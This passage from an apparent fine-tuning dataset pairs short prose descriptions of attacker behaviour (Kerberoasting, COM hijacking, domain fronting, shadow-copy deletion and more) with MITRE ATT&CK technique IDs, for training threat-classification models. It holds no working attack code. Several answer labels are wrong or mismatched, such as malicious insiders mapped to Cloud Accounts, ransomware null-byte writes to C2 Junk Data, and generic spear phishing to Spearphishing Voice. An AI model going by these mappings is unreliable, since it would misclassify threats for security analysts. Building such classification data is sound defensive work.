                "role": "user",
                "content": "Malware drops a malicious ASP.NET module into the IIS server's bin directory to run custom code on each request."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a routine that surveys the Wi‑Fi landscape, noting each network's identifier and encryption status."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromises the domain controller and replaces the Kerberos KDC service with a malicious version to issue forged tickets."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group steals the KRBTGT account's NTLM hash from memory and uses it to craft a Golden Ticket, allowing them to bypass normal authentication mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script traps and ignores termination signals, preventing system administrators from stopping the process."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An implant uses steganography to hide exfiltrated data within image files sent to a benign image hosting service."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromises a service account and uses the SharePoint Online CSOM API to download sensitive HR documents."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was disguised as a harmless image by changing its file extension from .exe to .png before being dropped on the victim's system."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the registry key HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\AppInit_DLLs, the malware ensures execution at process start."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious file is placed in a location where the executable path is not enclosed in quotes, resulting in the system executing the attacker’s code when the original program is launched."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerable container runtime to launch a privileged container that escapes to the host."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware encrypts its shellcode and only decrypts it after confirming that no hardware breakpoints are set on key functions."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes a TLS connection to a fronting domain, then inside the encrypted channel issues HTTP requests to a hidden command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script automates the approval of MFA push notifications by replaying captured authentication requests."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies the immutable flag on a critical config file using chattr, then later clears it to hide changes."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests Kerberos service tickets for accounts with SPNs and applies brute‑force techniques to decipher the ticket encryption and retrieve the clear‑text password."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors obtain an exploit for a privileged escalation vulnerability in Windows and embed it in their malware to enhance their capabilities."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits a vulnerable third‑party integration to obtain a JWT token that provides access to the target’s Microsoft 365 resources."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries perform in‑memory patching to modify the behavior of a legitimate application without touching the disk."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware tool generates a one‑time asymmetric key pair on the infected machine and uses the attacker's public key to encrypt all C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script adds non‑functional bytes to the end of the executable as a means of evading YARA rule detection through size manipulation."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised service account, the attacker performed a recursive dump of Confluence pages and stored them on a cloud bucket."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor abuses Outlook's rule engine to execute a DLL via the 'run a script' action during Outlook's startup process."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised document contains an embedded malicious image that, when rendered, leverages a zero‑day in the image rendering engine to launch a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group compromises a backup server and uses it to store stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious shortcut (.lnk) file is delivered through a cloud storage share; the user double-clicks it, launching a hidden executable."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor employs a dictionary of standard configuration filenames to discover exposed config files via active scanning."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group harvested valid credentials from a compromised CI/CD pipeline and accessed the cloud build environment."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PowerShell script invokes Get-WmiObject Win32_ComputerSystem to extract location-related attributes."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group modifies the Syslog forwarding rules in a hybrid cloud environment, preventing security events from reaching the central logging server."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used valid RDP credentials to log into the victim’s network from an external IP address."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a malicious kernel module, the attacker sets up socket filters that watch for DNS queries to a particular domain and notify the attacker upon detection."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insiders intentionally causing security breaches"
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary set up a custom RESTful web service to receive commands and exfiltrate data, using TLS to encrypt the traffic."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion utilizes an open proxy found on the internet to relay stolen credentials back to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant generates domain names algorithmically at runtime and queries DNS to discover its command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses Dynamic Data Exchange to bypass application whitelisting and run a script."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary crafts a batch file with a hidden RTL override character, making the file name appear as \"invoice.pdf\" while the underlying file is a .bat that runs commands."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CI/CD pipeline was used to inject malicious code into the deployment artifacts, which were then automatically installed on target servers via Jenkins."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses WMI event subscriptions to maintain persistence while staying under the radar."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware dropped a DLL into the IIS server's /bin directory and registered it as a custom HTTP handler, enabling command execution via web requests."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses PowerShell to create a reverse shell that tunnels over WinRM (Windows Remote Management) to connect back to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A specially crafted media file exploits a buffer overflow in a popular video player, resulting in code execution when played."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes using at to schedule a PowerShell command that disables security tools at startup."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 altered the domain's auditing policy to disable logon event tracking, using a malicious PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs the command \"net user\" on a compromised Windows host to list all local user accounts."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following credential theft, the threat actor wipes the system's partition table to prevent system restoration."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Explain how an attacker might use system information discovery to gather data about a target system's configuration."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a backdoor that piggybacks on the victim's SSH traffic to smuggle exfiltrated data to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker registers a malicious COM server under a CLSID used by a legitimate Windows component, causing the component to load the malicious DLL when it is invoked."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising the JavaScript of an internal web service, the attacker records and exfiltrates credential information from users logging in."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following a successful privilege escalation, the attacker changed the CSS of the internal dashboard, causing a disruptive visual defacement."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit chain begins with a cross-site scripting (XSS) flaw on a public web application, leading to the execution of a client-side payload that compromises the server."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages a misconfigured serverless container in IBM Cloud Functions, embedding a backdoor that executes whenever the container is invoked by the orchestration service."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a compromised VPS to perform internal reconnaissance within the victim’s network."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures a hidden window that is positioned off‑screen (negative coordinates) so it never appears within the visible monitor area."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing file permission settings on an application installer, the attacker injects a payload that runs when the legitimate installer is executed."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Utilizing a spear phishing campaign to target specific individuals"
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a rogue Password Filter DLL into the System32 directory, causing Windows to accept any password."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script performs rapid, repeated calls to a RESTful API endpoint, saturating the server's worker threads and causing an application-level denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the Microsoft Management Console binary to proxy a PowerShell script by embedding it in a malicious console snap‑in."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor creates a folder called \"My Tools\" and drops a fake \"notepad.exe\" inside; they then modify the system’s PATH to include this folder without quoting, causing any call to notepad to execute their version."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses AS-REP roasting to harvest encrypted ticket data from the domain controller and cracks it offline to forge Kerberos tickets for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors wipe out Wi‑Fi connection logs and reset the network adapter settings to hide their lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker steals a service account's OAuth access token from a compromised web server and uses it to impersonate the account in the cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates unique subdomains by hashing timestamps and resolves them via DNS to locate the next stage of the attack."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hijacking the Component Object Model, the threat actor replaces a legitimate COM server with malicious code that executes during normal application startup."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary compromises a Certificate Authority's private key and forges X.509 certificates to sign malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses PowerShell to create a hidden domain account for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware writes large blocks of null bytes into the victim's disk before encrypting files."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit script queries the local security policy to list all defined local groups on the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a rogue TLS certificate in the system's certificate repository to intercept and decrypt network traffic."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor applies the read‑only and hidden attributes to a malicious DLL on a compromised host's NTFS drive to prevent modification and discovery."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant also deletes shadow copies to thwart system recovery attempts."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a compromised OAuth token to impersonate a user and read their email messages."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
